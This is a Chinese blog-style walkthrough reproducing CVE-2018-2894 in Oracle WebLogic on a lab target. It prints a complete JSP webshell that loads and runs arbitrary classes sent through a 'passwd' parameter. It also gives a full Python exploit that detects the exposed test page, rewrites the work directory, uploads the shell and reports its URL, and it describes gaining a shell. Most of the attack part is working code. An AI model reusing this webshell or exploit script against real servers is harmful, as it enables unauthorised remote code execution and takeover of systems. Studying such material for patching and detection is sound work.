CVE-2018-2894WebLogic未授权任意文件上传
这个洞的限制就比较多了
限制版本
Oracle WebLogic Server版本
10.3.6.0
12.1.3.0
12.2.1.2
12.2.1.3
限制配置
该漏洞的影响模块为web服务测试页,在默认情况下不启用。
/ws_utc/config.do
/ws_utc/begin.do默认情况下不启用的意思就是,这个洞看脸,管理员开没开这个模式,不过现在基本上就没有了应该
但是还是尝试复现一下,所以手动开启
登录控制台-》base_domain-》高级-》勾选启用Web服务测试页 -》保存
登陆就直接ip:7001/console就跳转到登陆页面了
登陆的账号密码
docker-compose logs | grep password
-
直接在kali上拉取镜像
weblogic:172.20.0.2:7001
-
登陆开启Web服务测试页
别忘了保存
-
接下来模拟攻击,换个没登陆的浏览器访问
/ws_utc/config.do
设置Work Home Dir为
/u01/oracle/user_projects/domains/base_domain/servers/AdminServer/tmp/_WL_internal/com.oracle.webservices.wls.ws-testclient-app-wls/4mcj4y/war/css
-
准备jsp webshell
连接密码passwd
原帖地址:https://blog.csdn.net/qq_43615820/article/details/116357744
<%!class U extends ClassLoader {U(ClassLoader c) {super(c);}public Class g(byte[] b) {return super.defineClass(b, 0, b.length);}}public byte[] base64Decode(String str) throws Exception {try {Class clazz = Class.forName("sun.misc.BASE64Decoder");return (byte[]) clazz.getMethod("decodeBuffer", String.class).invoke(clazz.newInstance(), str);} catch (Exception e) {Class clazz = Class.forName("java.util.Base64");Object decoder = clazz.getMethod("getDecoder").invoke(null);return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, str);}} %> <%String cls = request.getParameter("passwd");if (cls != null) {new U(this.getClass().getClassLoader()).g(base64Decode(cls)).newInstance().equals(pageContext);} %>
-
上传,注意先开burp再上传,回包中查看时间戳,文件在http://your-ip:7001/ws_utc/css/config/keystore/[时间戳]_[文件名]
-
访问一句话木马看看传没传上去
http://192.168.27.137:7001/ws_utc/css/config/keystore/1681375502098_passwd.jsp
-
蚁剑连接
成功getshell
接下来尝试写个py脚本
挑战自己!
经过前面的复现,我认为利用漏洞其实主要在未授权的一个页面
http://192.168.27.137:7001/ws_utc/config.do
后来查了一下如何检测是否开启测试页面
http://192.168.27.137:7001/ws_utc/resources/setting/options/general 如果成功访问到该页面证明开启了
开写!
import re
import requests
def text(host):payload1="http://"+host+"/ws_utc/resources/setting/options/general" #拼接地址header = {'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0'}#搞个ua省的被防爬虫干掉try:req=requests.get(payload1,headers=header)if req.status_code == 404 : #状态码检测 404 说明不存在该漏洞exit("{} 不存在CVE-2018-2894".format(host))elif "</defaultValue>" in req.text:print("存在该漏洞")return 1except:exit("error host")
来解释一下这个函数,非常简单,直接发一个请求给/ws_utc/resources/setting/options/general,如果回包的状态码是404则漏洞不存在,如果存在关键词则说明漏洞可能存在
第二步,修改路径,先手动修改一下抓个包,看看传到那了,传什么了
发现上传路径与参数,直接开些
def change_path(host):data={"setting_id":"general", "BasicConfigOptions.workDir":"/u01/oracle/user_projects/domains/base_domain/servers/AdminServer/tmp/_WL_internal/com.oracle.webservices.wls.ws-testclient-app-wls/4mcj4y/war/css","BasicConfigOptions.proxyHost":"","BasicConfigOptions.proxyPort":"80"}payload = "http://" + host + "/ws_utc/resources/setting/options" # 拼接地址header = {'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0'} # 搞个ua省的被防爬虫干掉print(payload)try:req = requests.post(payload,headers=header,data=data)if req.status_code == 200: #return "修改成功"else:exit("错误")except:exit("error host")
定义data 把抓到的包中的参数写进来,注意workDir,要写
/u01/oracle/user_projects/domains/base_domain/servers/AdminServer/tmp/_WL_internal/com.oracle.webservices.wls.ws-testclient-app-wls/4mcj4y/war/css
定义payload,把目标地址拿下来
直接发包,状态码如果为200,则修改成功
第三步!上传文件!
还是老套路,先手动传一个,看看目标地址和参数
看到如上的参数,再看看目标地址
看到这个地址我一惊,这有个时间戳,那还得动态获取这个地址,但是!我放到重发器里试了一下,发现这玩意没啥用,那就直接搞代码吧!
def upload_jsp(host):payload = "http://" + host + "/ws_utc/resources/setting/keystore" # 拼接地址file={"ks_name":"a","ks_edit_mode":"false","ks_password_front":"1","ks_password":"1","ks_password_changed":"true","ks_filename":"passwd.jsp",'file': open('./need/passwd.jsp', 'rb')}header = {'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0'}request = requests.post(payload, files=file)response = request.textmatch = re.findall("<id>(.*?)</id>", response)if match:tid = match[-1]shell_path = "http://"+host + "/ws_utc/css/config/keystore/" +str(tid) + "_passwd.jsp"if requests.get(shell_path,headers=header).status_code==200:print("{} 存在 CVE-2018-2894".format(host))print("webshell path:{}".format(shell_path))else:print("[-] {} don't exists CVE-2018-2894".format(host))
这里面值得说的:
file中最后一个参数要导入木马文件哦
前面说到上传文件的命名是时间戳_文件名,使用正则匹配获取这个id,但是观察数据包发现回包中有所有文件的id,所以取最后一个(新上传的),match[-1]
然后发包,发包后访问一下shell页面,如果状态码为200,则可能上传成功,发出提示,如果没有则说明上传失败
最后!写个主函数
if __name__=='__main__':host="" #例子 192.168.0.17:7001if text(host)==1:change_path(host)upload_jsp(host)else:exit()
这个就没啥好说的了,用VPS开了一个靶场,跑一下试试
成功咯!